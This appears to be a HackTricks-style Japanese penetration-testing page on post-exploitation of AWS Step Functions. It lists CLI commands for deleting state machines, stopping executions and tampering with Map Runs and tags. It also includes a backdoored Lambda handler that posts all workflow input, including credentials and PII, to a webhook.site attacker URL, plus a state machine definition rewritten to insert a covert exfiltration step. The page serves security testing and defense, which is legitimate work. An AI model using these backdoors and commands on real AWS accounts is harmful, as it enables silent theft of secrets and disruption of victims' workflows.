Files

186 lines
8.0 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
# AWS - Step Functions Post Exploitation
{{#include ../../../../banners/hacktricks-training.md}}
## Step Functions
この AWS サービスの詳細については、次を参照してください:
{{#ref}}
../../aws-services/aws-stepfunctions-enum.md
{{#endref}}
### `states:RevealSecrets`
この権限により、execution 内の機密データを表示できます。これを行うには、Inspection level を TRACE に設定し、revealSecrets パラメータを true にする必要があります。
<figure><img src="../../../images/image (348).png" alt=""><figcaption></figcaption></figure>
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias`
これらの権限を持つ攻撃者は、state machines、その versions、および aliases を永久に削除することができます。これにより重要なワークフローが中断され、データ損失が発生し、影響を受けた state machines の復旧と復元に多大な時間がかかる可能性があります。さらに、攻撃者は使用された痕跡を隠蔽したり、フォレンジック調査を妨害したり、重要な自動化プロセスや状態構成を削除して運用を麻痺させる可能性があります。
> [!NOTE]
>
> - state machine を削除すると、それに関連するすべての versions と aliases も削除されます。
> - state machine alias を削除しても、その alias を参照している state machine versions は削除されません。
> - 1つ以上の alias から現在参照されている state machine version を削除することはできません。
```bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
```
- **Potential Impact**: 重要なワークフローの中断、データ損失、および運用停止。
### `states:UpdateMapRun`
この権限を持つ攻撃者は、Map Run の failure 設定や parallel 設定を操作でき、許可される子ワークフロー実行の最大数を増減させることで、サービスの動作やパフォーマンスに直接影響を与える可能性があります。さらに、攻撃者は許容される失敗の割合やカウントを改ざんしてこれを0に下げることができ、その結果、アイテムが1件でも失敗すると Map Run 全体が失敗し、ステートマシンの実行に直接影響を与え、重要なワークフローを中断する可能性があります。
```bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
```
- **潜在的な影響**: パフォーマンスの低下、および重要なワークフローの中断。
### `states:StopExecution`
この権限を持つ攻撃者は任意のステートマシンの実行を停止できる可能性があり、進行中のワークフローやプロセスを中断します。これにより、トランザクションの未完了、業務の停止、そしてデータ破損の可能性が生じます。
> [!WARNING]
> このアクションは**express state machines**ではサポートされていません。
```bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
```
- **潜在的影響**: 継続中のワークフローの中断、運用停止、及びデータ破損の可能性。
### `states:TagResource`, `states:UntagResource`
攻撃者は Step Functions リソースの tags を追加・変更・削除でき、組織のコスト配分、リソース追跡、および tags に基づくアクセス制御ポリシーを混乱させる可能性があります。
```bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
```
**潜在的影響**: コスト配分、リソース追跡、およびタグベースのアクセス制御ポリシーの混乱。
---
### `states:UpdateStateMachine`, `lambda:UpdateFunctionCode`
次の権限を持つユーザーまたはロールを侵害した攻撃者:
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
```
...は、Lambda backdooringとStep Function logic manipulationを組み合わせることで、**高インパクトかつステルスな post-exploitation attack** を実行できます。
このシナリオでは、被害者が**AWS Step Functions を使用して、資格情報、トークン、または PII のような機密入力を処理するワークフローをオーケストレーションする**と想定します。
Example victim invocation:
```bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
```
Step Functionが`LegitBusinessLogic`のようなLambdaを呼び出すように設定されている場合、攻撃者は**2つのステルス性の高い攻撃パターン**を実行できます:
---
#### lambda 関数を更新
攻撃者は、Step Functionで既に使用されているLambda関数`LegitBusinessLogic`のコードを改変し、入力データを静かにexfiltrateします。
```python
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
```
```bash
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
```
---
#### Step Function に悪意のあるステートを追加する
あるいは、攻撃者は Step Function の定義を更新して、ワークフローの先頭に **exfiltration state** を挿入することができます。
```malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
```
```bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
```
攻撃者はさらにステルスに状態定義を次のように更新できる。
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "ExfiltrateSecrets",
"States": {
"ExfiltrateSecrets": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker",
"InputPath": "$",
"ResultPath": "$.exfil",
"Next": "OriginalState"
},
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic",
"End": true
}
}
}
被害者はその違いに気づかない。
---
### 被害者のセットアップ(エクスプロイトのコンテキスト)
- Step Function (`LegitStateMachine`) は機密性の高いユーザー入力を処理するために使用される。
- `LegitBusinessLogic` のような1つ以上の Lambda 関数を呼び出す。
---
**潜在的な影響**:
- 機密データsecrets、credentials、API keys、PII を含む)の silent exfiltration。
- ワークフロー実行に目に見えるエラーや障害が発生しない。
- Lambda のコードや実行トレースを監査しない限り検出が難しい。
- バックドアがコードや ASL ロジックに残っている場合、長期的な persistence を可能にする。
{{#include ../../../../banners/hacktricks-training.md}}